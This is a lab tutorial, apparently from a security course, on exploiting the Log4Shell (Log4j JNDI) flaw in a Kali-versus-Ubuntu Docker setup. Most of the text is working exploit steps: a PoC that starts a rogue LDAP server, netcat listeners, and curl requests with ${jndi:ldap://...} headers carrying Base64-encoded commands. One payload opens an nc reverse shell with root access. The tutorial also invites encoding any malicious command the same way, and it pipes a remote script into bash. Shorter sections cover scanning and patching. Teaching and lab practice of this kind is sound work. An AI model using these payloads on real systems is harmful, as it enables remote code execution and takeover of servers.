Exploiting Log4j Vulnerable Application

Network

Hostname	Linux Distro	IP Address
Kali	Kali 2021.4	192.168.1.101
Ubuntu	Ubuntu 20.04.3	192.168.1.100

Exploitable Host Setup

To configure an exploitable host, we are going to use a docker file to install a vulnerable web application for a Tomcat server on the Ubuntu box.

Open an SSH connection to the Ubuntu workstation from the Kali box and elevate to root.

Clone the GitHub repository to the root home folder:

git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc

Remove the file poc.py. This is the exploit we will use on the Kali box and it is unnecessary on this machine.

rm poc.py
rm requirements.txt

Install docker:

apt update
apt install docker.io

Build the docker file:

docker build -t log4j-shell-poc .

Run the file:

docker run --network host log4j-shell-poc

The vulnerable web application is now up and running, making the Ubuntu machine exploitable.

Attacker Setup

For this attack we are going to use a python script to an LDAP server. The script will generate a command we will be injecting into the vulnerable web application to exploit the vulnerable log4j version it's running. We will be executing remote commands from a netcat session.

Open a new terminal on the Kali box.

Clone the GitHub repository to the Kali Box in the user home folder:

git clone https://github.com/kozmer/log4j-shell-poc
cd log4j-shell-poc

You will need to download the Java SE Development kit 8u20 from: https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html#license-lightbox. An oracle account is needed but this is free. The purpose of this install is so that the python script can write the exploit to a Java file. Think of this like a LEGO set: The script is the instruction booklet and the Java SE Development are the bricks.

Place the downloaded file into the log4j-shell-poc directory and unpack it:

sudo tar -xf jdk-8u20-linux-x64.tar.gz

Install pip and python3. We will need this to run the exploit.

sudo apt install python3
sudo apt install pip

Install the python requirements:

pip install -r requirements.txt

The final step is to switch out the poc.py file for a more versatile version. This exploitation was created with the intention of the Attacker and Vulnerable Server being on the same machine. I found this modified version of the poc.py file which takes additional parameters.

Exploiting the Vulnerable Host

Execute the exploit script. This script does two things: Starts an LDAP server and generates a payload. We need to tell the script where we are hosting the LDAP server (on the Kali box, port 8000) and where the Netcat Listener session will be hosted (on the Kali box, port 9001):

sudo python3 poc.py --serversip 192.168.1.101 --webport 8000 --ncip 192.168.1.101 --ncport 9001

• Note: "serversip" here refers to a LDAP server that is setup on the Kali Box. This is not the IP of the tomcat server.

Start a netcat session from a new terminal:

nc -nvlp 9001

Open the web server in the browser:

http://192.168.1.100:8080/

You may have noticed that after running the poc.py file, starting the LDAP server, an injection command was printed. This is what we will use to exploit the box. Notice that the IP address is that of the Kali box, this was the purpose of entering the --ncip 192.168.1.101 argument.

Copy this command and put in the username box on the web app:

Then hit the login button and watch as the injection redirects the connection to the LDAP server and the Netcat listener intercepts the connection:

The netcat session will have root privileges. Run a whoami and id to verify. I also ran an ls to show that the connection is made to the tomcat server (/usr/local/tomact) directly.

Scanning for the Vulnerability

In a new terminal, open a new ssh connection to the Tomcat server. Then download the dependencies for the log4j scanner then run the scanner:

sudo -i
apt install unzip locate
updatedb
wget https://raw.githubusercontent.com/rubo77/log4j_checker_beta/main/log4j_checker_beta.sh -q -O - | bash 

This scanner will print out all vulnerable log4j files and where to find them so that they can be updated.

Notice here that java is not installed. This is because Java was never directly installed onto the Ubuntu host because a docker container was used to setup the web application. Were the Tomcat server to be built manually and configured for log4j, then Java would be installed and would likely need to be updated as well.

Fixing the Vulnerabilities

The fix for this is straightforward.

Start by thinking about the input fields. We were able to enter ${jndi:ldap... in the username field. Should we be able to do this?

Next, update the vulnerable log4j files detected by the scanner to the latest version. REMINDER: this is Docker Container, not a traditional Tomcat server. You won't be able to just simply place the files into the web app's directory and restart the server. Since this is built off of a docker script it requires you to change the code. Take a look at the log4-shell-poc repository, unpack some files, use the scanner output as reference, figure out what you would need to change so that server isn't built with out-of-date jar files.

I encourage you to fix this vulnerability yourself. However, if you find that you could use some help I've prepared a proposed solution guide. This also includes specifics on the vulnerability so that you can learn more about it.

Class Demo Exploitation

---

This was the demonstration we did in class, it is nothing more than a proof of concept

---

Exploitation Steps

On your Kali machine, download the exploit file, unzip it, and run it

wget https://github.com/black9/Log4shell_JNDIExploit/raw/main/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i your-private-ip -p 8888

Your Bad LDAP server should now be running on your Kali machine like below

You can now trigger the exploit by running this following command on Kali (the -H command puts in a custom header of your choosing):

curl target-ip-address:8080 -H 'X-Api-Version: ${jndi:ldap://attacker-ip:1389/Basic/Command/Base64/bWtub2QgL3RtcC9iYWNrcGlwZSBw}'

curl target-ip-address:8080 -H 'X-Api-Version: ${jndi:ldap://attacker-ip:1389/Basic/Command/Base64/L2Jpbi9zaCAwPC90bXAvYmFja3BpcGUgfCBuYyAxOTIuMTY4LjEuMTAxIDQ0NDQgMT4vdG1wL2JhY2twaXBl}'

You can put in any command you want after the "Base64" part of the URL. You just need to make sure it is encoded in Base64. Below is a good source for encoding malicious commands that you want to run on the target box.

https://www.base64encode.org/

NOTE: In the example shown above, I curled both mknod /tmp/backpipe p and /bin/sh 0</tmp/backpipe | nc 192.168.1.101 4444 1>/tmp/backpipe encoded in base64 to the target box (192.168.1.100) so that it would open a reverse shell on my Kali box (192.168.1.101). I opened up a listener on my Kali machine using nc -nlvp 4444 before running the exploit so that I would connect to the target machine using netcat. There are many different ways you can gain access to the box as you can send any remote commands over to the target box that you want as long as they are encoded via Base64, this is just the way we did it!

Below is a screenshot of a successful exploitation of Log4J.

Configuration with Example Vulnerable Webserver

Install Docker

sudo apt install docker
sudo apt install docker-compose

Install git

sudo apt install git

Clone the repo for the log4j website sample

git clone https://github.com/christophetd/log4shell-vulnerable-app

Setup the log4j website

cd log4shell-vulnerable-app
sudo docker run --name vulnerable-app --rm -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app

This is what it will look like after docker run is finished setting up the log4J vulnerable app on your server.

You should now be able to connect to this webpage from your kali box with this address http://address_of_machine:8080/

This will print an error message. That is because there is currently nothing running through it.

NOTE: This Below part before the exploitation steps is another way to set up the vulnerable box.

Build the docker file so that your target server can be vulnerable to Log4J:

docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app

Worked Cited

https://github.com/kozmer/log4j-shell-poc/

https://github.com/rubo77/log4j_checker_beta/

---

Class Demo

https://github.com/christophetd/log4shell-vulnerable-app

https://shadowslayerqwerty.medium.com/creating-a-netcat-reverse-shell-without-e-89b45134de99 (Reverse Shell working with NC being weird)